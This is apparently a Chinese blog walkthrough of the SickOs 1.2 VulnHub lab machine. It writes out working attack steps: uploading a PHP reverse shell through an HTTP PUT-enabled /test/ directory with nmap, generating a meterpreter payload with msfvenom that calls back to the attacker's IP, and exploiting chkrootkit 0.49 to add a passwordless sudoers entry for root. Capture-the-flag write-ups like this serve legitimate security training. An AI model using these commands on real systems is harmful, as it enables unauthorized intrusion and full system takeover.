SickOs:1.2

提权辅助工具LinEnum下载:https://download.csdn.net/download/weixin_41082546/11609409
提权辅助工具linuxprivchecker.py下载:https://download.csdn.net/download/weixin_41082546/11609428

 
首先获取目标ip地址,并探测端口
netdiscover -i eth0 -r 192.168.88.1/24
访问web,并查看源码,没有什么有用的东西
 
目录发现
 
 
curl -v -X OPTIONS http://192.168.88.201
curl -v -X OPTIONS http://192.168.88.201/test/
/test/ 目录 支持 put 方法,可以 向 test 目录 put 一个 反弹shell。
直接利用kali 自带的 reverse-shell
修改回连 的ip 地址和端口
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='php-reverse-shell.php'
成功上传反弹shell 脚本
开启 本地 侦听
 
反弹 不成功
自己重新生成shell ,再次尝试。
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.174 LPORT=1234 -f raw > exploit3.php
 
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit3.php',http-put.file='exploit3.php'
多次反弹失败,百度一下,是防火墙阻止了非常用端口出来,所以我们的1234,333都弹不回来!!
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit5.php',http-put.file='php-reverse-shell.php'
第五次尝试
这次终于弹回来了!!!web权限。
ls -la /etc/cron.daily
查看计划任务,发现存在chkrootkit ,版本0.49
searchsploit chkrookit 0.49版本的chkrootkit存在本地提权漏洞
chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
漏洞利用: 在/tmp目录下新建update文件,做我们想让root帮我们做的事(参考百度)
touch update
chmod +x update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > update
sudo su root 获得root权限
 
第二种方法,利用我们 msf 进行利用
上传 meterpreter 反弹 shell ,反弹端口 443 ,获得session,
再获得session前提下使用 exploit/unix/local/chkrootkit 模块可以获得ro

靶机-SickOs 1.2 Walkthrough的更多相关文章

  1. 靶机-BTRSys 2.1 Walkthrough

    BTRSys 2.1 https://www.vulnhub.com/entry/btrsys-v21,196/ 参考:https://www.jianshu.com/p/9813095ce04d 提 ...

  2. OSCP Learning Notes - Capstone(4)

    SickOS 1.2 Walkthrough Preparation: Down load the SickOS virtual machines from the following website ...

  3. 靶机-droopyCTF Walkthrough

    droopyCTF https://www.vulnhub.com/?q=droopy&sort=date-des&type=vm CTF镜像合集:https://www.vulnhu ...

  4. 11. CTF综合靶机渗透(四)

    运行环境 Virtualbox (二选一) Vnware Workstation player 通关提示 Enumeration is key Try Harder Look in front of ...

  5. AI:WEB:1 Walkthrough

    AI: Web: 1 Vulnhub Walkthrough靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/测试方法:    Nmap网络扫描    浏 ...

  6. Walkthrough: Arranging Controls on Windows Forms Using Snaplines

    https://msdn.microsoft.com/en-us/library/t5b5kc41(v=vs.110).aspx Spacing and Aligning Controls Using ...

  7. Walkthrough: Creating and Using a Dynamic Link Library (C++)

    Original Link: http://msdn.microsoft.com/zh-cn/library/ms235636.aspx Following content is only used ...

  8. Burp Suite Walkthrough(英文版)

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

  9. Burp Suite Walkthrough

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

随机推荐

  1. eclipse快捷键记录

    转自:http://blog.csdn.net/siphiababy/article/details/74179684 ctrl+2+L这个快捷键可自动补全代码,极大提升编码效率! 注:ctrl和2同 ...

  2. 2019牛客暑期多校训练营(第八场)E.Explorer

    链接:https://ac.nowcoder.com/acm/contest/888/E来源:牛客网 Gromah and LZR have entered the fifth level. Unli ...

  3. codeforces 1217E E. Sum Queries? (线段树

    codeforces 1217E E. Sum Queries? (线段树 传送门:https://codeforces.com/contest/1217/problem/E 题意: n个数,m次询问 ...

  4. mysql find_in_set 与 in 的用法与区别,mysql范围搜索,mysql范围查询

    mysql find_in_set 与 in 的用法与区别 1.find_in_set 用于模糊查询,并且数据库中的值是用英文逗号分隔的: 例如: (1).去字段中查询 select find_in_ ...

  5. 盘一盘 Thread源码

    线程是操作系统能够进行运算调度的最小单位.它被包含在进程之中,是进程中的实际运作单位.一条线程指的是进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每条线程并行执行不同的任务. 继承关系图 线 ...

  6. hadoop常用端口及定义方法

    hadoop2.x常用到的组件:HDFS, YARN, HBase, Hive, ZooKeeper: 组件 节点 默认端口 配置 用途说明HDFS DataNode 50010 dfs.datano ...

  7. 聊聊最近撸Spring源码感悟

    一.前言     最近一段时间撸了Spring IOC.AOP.Transactional源码,这篇文章聊聊我写了哪些小玩意,这可能就是阅读源码以后最大收获.希望大家在里面能学习一些什么东西吧: 二. ...

  8. Java 从入门到进阶之路(十九)

    在之前的文章我们介绍了一下 Java 中的Object,本章我们来看一下 Java 中的包装类. 在 Java 中有八个基本类型:byte,short,int,long,float,double,ch ...

  9. JVM 体系结构与工作方式

    .katex { display: block; text-align: center; white-space: nowrap; } .katex-display > .katex > ...

  10. CSV 文件的存取

    CSV 文件介绍 CSV(Comma-Separated Values),中文通常叫做逗号分割值.CSV文件由任意数目的记录(行)组成,每条记录由一些字段(列)组成,字段之间通常以逗号分割,当然也可以 ...